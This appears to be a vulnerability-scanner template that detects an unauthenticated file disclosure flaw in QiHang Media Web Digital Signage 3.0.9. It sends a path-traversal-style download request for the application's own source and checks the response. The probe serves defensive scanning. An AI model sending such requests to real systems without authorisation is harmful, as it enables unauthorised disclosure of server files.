id: qihang-media-lfi
info:
name: QiHang Media Web (QH.aspx) Digital Signage 3.0.9 - Arbitrary File Disclosure
author: gy741
severity: high
description: The QiHang Media Web application suffers from an unauthenticated file disclosure vulnerability when input passed thru the filename parameter when using the download action or thru path parameter when
using the getAll action is not properly verified before being used. This can be exploited to disclose contents of files and directories from local resources.
reference:
- https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5581.php
rules:
r0:
request:
method: GET
path: /QH.aspx?responderId=ResourceNewResponder&action=download&fileName=.%2fQH.aspx
expression: response.status == 200 && response.raw_header.bcontains(b'filename=QH.aspx') && response.raw_header.bcontains(b'application/zip') && response.body.bcontains(b'QH.aspx.cs') && response.body.bcontains(b'QiHang.Media.Web.QH')
expression: r0()